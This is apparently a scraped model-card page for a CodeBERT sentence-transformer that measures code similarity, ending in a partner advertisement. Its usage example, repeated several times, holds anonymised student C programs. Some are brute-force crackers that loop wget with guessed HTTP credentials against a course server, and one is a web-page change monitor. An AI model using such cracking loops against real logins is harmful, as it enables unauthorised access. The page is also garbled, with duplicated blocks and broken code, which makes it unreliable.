'\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\nint (int argc, char *argv[])\n {\n FILE *fp;\n \n while(1)\n { \n system("wget -p http://www.cs.rmit.edu./students");\n\n\n\n system("mkdir data"); \n if((fp=fopen("./data/index.html","r"))==NULL)\n { \n system("cp www.cs.rmit.edu./students/index.html ./data");\n\t \n }\n else\n { \n \n\t \n\t system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./students/index.html ./data");\n } \n\n\n\n system("mkdir images"); \n if((fp=fopen("./images/file.txt","r"))==NULL)\n { \n system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");\n\t\t \n }\n \n else\n { \n system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");\n\t \n\t \n\t \n\t system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./file.txt ./images");\n }\n sleep(86400); \n }\t\n return (EXIT_SUCCESS);\n }\n \n\t \n\t \t\n',
'\n\n#include <stdio.h>\n#include <string.h>\n#include <sys/time.h>\n\n#define OneBillion 1e9\n#define false 0\n#define true 1\nint execPassword(char *, char *b) {\n\n\n char [100]={\'\\0\'};\n strcpy(,b);\n \n strcat(,);\n printf ("Sending command %s\\n",);\n if ( system()== 0) {\n printf ("\\n password is : %s",);\n return 1;\n }\n return 0;\n}\n \n\nint bruteForce(char [],char comb[],char *url) {\n\n\nint i,j,k;\n\n for(i=0;i<52 ;i++) {\n comb[0]= [i];\n if (execPassword(comb,url)== 1) return 1; \n for(j=0;j<52;j++) {\n comb[1] = [j];\n if(execPassword(comb,url)==1) return 1;\n for(k=0;k<52;k++) {\n comb[2] = [k];\n if(execPassword(comb,url)==1) return 1;\n }\n comb[1] = \'\\0\';\n }\n }\n return 0;\n\n} \n\nint (char *argc, char *argv[]) {\n\n int i,j,k;\n char strin[80] = {\'\\0\'};\n char *passwd;\n char a[] = {\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n char v[4]={\'\\0\'};\n int startTime, stopTime, final;\n int flag=false; \n strcpy(strin,"wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=");\n\n startTime = time();\n if (bruteForce(a,v,strin)==1) {\n stopTime = time();\n final = stopTime-startTime;\n }\n\n printf ("\\n The password is : %s",v);\n printf("%lld nanoseconds (%lf) seconds \\n", final, (double)final/OneBillion );\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9892, 0.9953],
# [0.9892, 1.0000, 0.9908],
# [0.9953, 0.9908, 1.0000]])Usagepython
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeBERT-ST")
# Run inference
sentences = [
'\n\n\n#include <stdio.h>\n\n#include <stdlib.h>\nint ()\n{\n int i,j,k,counter =0;\n char word[3];\n char paswd[3];\t\n char get[100];\n int ;\n char username[]="";\n \n \n \n \n \n\t\t\t\t\n\t\n\tfor (i = 65; i <= 122; i++)\n\t{\n\t\t if(i==91) {i=97;} \n \n\t\tfor (j = 65; j <= 122; j++)\n\t\t{\n\t\t\n\t\tif(j==91) {j=97;}\n \n\t\tfor (k = 65; k <= 122; k++)\n\t\t{\n\t\t \n\t\t\tif(k==91) {k=97;} \n\t\t\t\n\t\t\t word[0] = i;\n\t\t\t word[1] = j;\n\t\t\t word[2] = k;\n\t\t\t sprintf(paswd,"%c%c%c",word[0],word[1],word[2]); \n\t\t\t counter++;\n\t\t\tprintf("%d )%s\\n\\n", counter, paswd);\n\t\t\t sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,paswd);\n\t\t\t=system(get);\n\t \n\t\t\tif(==0) \n\t\t\t{\n\t\t\tprintf("The Password has been cracked and it is : %s" , paswd);\n\t\t\texit(0);\n\t\t\t}\n\t\t}\n \n\t\t}\n \n\t}\n \n\t\n}\n\n',
'\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\nint (int argc, char *argv[])\n {\n FILE *fp;\n \n while(1)\n { \n system("wget -p http://www.cs.rmit.edu./students");\n\n\n\n system("mkdir data"); \n if((fp=fopen("./data/index.html","r"))==NULL)\n { \n system("cp www.cs.rmit.edu./students/index.html ./data");\n\t \n }\n else\n { \n \n\t \n\t system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./students/index.html ./data");\n } \n\n\n\n system("mkdir images"); \n if((fp=fopen("./images/file.txt","r"))==NULL)\n { \n system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");\n\t\t \n }\n \n else\n { \n system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");\n\t \n\t \n\t \n\t system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./file.txt ./images");\n }\n sleep(86400); \n }\t\n return (EXIT_SUCCESS);\n }\n \n\t \n\t \t\n',
'\n\n#include <stdio.h>\n#include <string.h>\n#include <sys/time.h>\n\n#define OneBillion 1e9\n#define false 0\n#define true 1\nint execPassword(char *, char *b) {\n\n\n char [100]={\'\\0\'};\n strcpy(,b);\n \n strcat(,);\n printf ("Sending command %s\\n",);\n if ( system()== 0) {\n printf ("\\n password is : %s",);\n return 1;\n }\n return 0;\n}\n \n\nint bruteForce(char [],char comb[],char *url) {\n\n\nint i,j,k;\n\n for(i=0;i<52 ;i++) {\n comb[0]= [i];\n if (execPassword(comb,url)== 1) return 1; \n for(j=0;j<52;j++) {\n comb[1] = [j];\n if(execPassword(comb,url)==1) return 1;\n for(k=0;k<52;k++) {\n comb[2] = [k];\n if(execPassword(comb,url)==1) return 1;\n }\n comb[1] = \'\\0\';\n }\n }\n return 0;\n\n} \n\nint (char *argc, char *argv[]) {\n\n int i,j,k;\n char strin[80] = {\'\\0\'};\n char *passwd;\n char a[] = {\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n char v[4]={\'\\0\'};\n int startTime, stopTime, final;\n int flag=false; \n strcpy(strin,"wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=");\n\n startTime = time();\n if (bruteForce(a,v,strin)==1) {\n stopTime = time();\n final = stopTime-startTime;\n }\n\n printf ("\\n The password is : %s",v);\n printf("%lld nanoseconds (%lf) seconds \\n", final, (double)final/OneBillion );\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9892, 0.9953],
# [0.9892, 1.0000, 0.9908],
# [0.9953, 0.9908, 1.0000]])Usagepython
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeBERT-ST")
# Run inference
sentences = [
'\n\n\n#include <stdio.h>\n\n#include <stdlib.h>\nint ()\n{\n int i,j,k,counter =0;\n char word[3];\n char paswd[3];\t\n char get[100];\n int ;\n char username[]="";\n \n \n \n \n \n\t\t\t\t\n\t\n\tfor (i = 65; i <= 122; i++)\n\t{\n\t\t if(i==91) {i=97;} \n \n\t\tfor (j = 65; j <= 122; j++)\n\t\t{\n\t\t\n\t\tif(j==91) {j=97;}\n \n\t\tfor (k = 65; k <= 122; k++)\n\t\t{\n\t\t \n\t\t\tif(k==91) {k=97;} \n\t\t\t\n\t\t\t word[0] = i;\n\t\t\t word[1] = j;\n\t\t\t word[2] = k;\n\t\t\t sprintf(paswd,"%c%c%c",word[0],word[1],word[2]); \n\t\t\t counter++;\n\t\t\tprintf("%d )%s\\n\\n", counter, paswd);\n\t\t\t sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,paswd);\n\t\t\t=system(get);\n\t \n\t\t\tif(==0) \n\t\t\t{\n\t\t\tprintf("The Password has been cracked and it is : %s" , paswd);\n\t\t\texit(0);\n\t\t\t}\n\t\t}\n \n\t\t}\n \n\t}\n \n\t\n}\n\n',
'\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\nint (int argc, char *argv[])\n {\n FILE *fp;\n \n while(1)\n { \n system("wget -p http://www.cs.rmit.edu./students");\n\n\n\n system("mkdir data"); \n if((fp=fopen("./data/index.html","r"))==NULL)\n { \n system("cp www.cs.rmit.edu./students/index.html ./data");\n\t \n }\n else\n { \n \n\t \n\t system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./students/index.html ./data");\n } \n\n\n\n system("mkdir images"); \n if((fp=fopen("./images/file.txt","r"))==NULL)\n { \n system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");\n\t\t \n }\n \n else\n { \n system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");\n\t \n\t \n\t \n\t system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./file.txt ./images");\n }\n sleep(86400); \n }\t\n return (EXIT_SUCCESS);\n }\n \n\t \n\t \t\n',
'\n\n#include <stdio.h>\n#include <string.h>\n#include <sys/time.h>\n\n#define OneBillion 1e9\n#define false 0\n#define true 1\nint execPassword(char *, char *b) {\n\n\n char [100]={\'\\0\'};\n strcpy(,b);\n \n strcat(,);\n printf ("Sending command %s\\n",);\n if ( system()== 0) {\n printf ("\\n password is : %s",);\n return 1;\n }\n return 0;\n}\n \n\nint bruteForce(char [],char comb[],char *url) {\n\n\nint i,j,k;\n\n for(i=0;i<52 ;i++) {\n comb[0]= [i];\n if (execPassword(comb,url)== 1) return 1; \n for(j=0;j<52;j++) {\n comb[1] = [j];\n if(execPassword(comb,url)==1) return 1;\n for(k=0;k<52;k++) {\n comb[2] = [k];\n if(execPassword(comb,url)==1) return 1;\n }\n comb[1] = \'\\0\';\n }\n }\n return 0;\n\n} \n\nint (char *argc, char *argv[]) {\n\n int i,j,k;\n char strin[80] = {\'\\0\'};\n char *passwd;\n char a[] = {\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n char v[4]={\'\\0\'};\n int startTime, stopTime, final;\n int flag=false; \n strcpy(strin,"wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=");\n\n startTime = time();\n if (bruteForce(a,v,strin)==1) {\n stopTime = time();\n final = stopTime-startTime;\n }\n\n printf ("\\n The password is : %s",v);\n printf("%lld nanoseconds (%lf) seconds \\n", final, (double)final/OneBillion );\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9892, 0.9953],
# [0.9892, 1.0000, 0.9908],
# [0.9953, 0.9908, 1.0000]])Deploy This Model
Production-ready deployment in minutes
Together.ai
Instant API access to this model
Production-ready inference API. Start free, scale to millions.
Try Free APIReplicate
One-click model deployment
Run models in the cloud with simple API. No DevOps required.
Deploy NowDisclosure: We may earn a commission from these partners. This helps keep LLMYourWay free.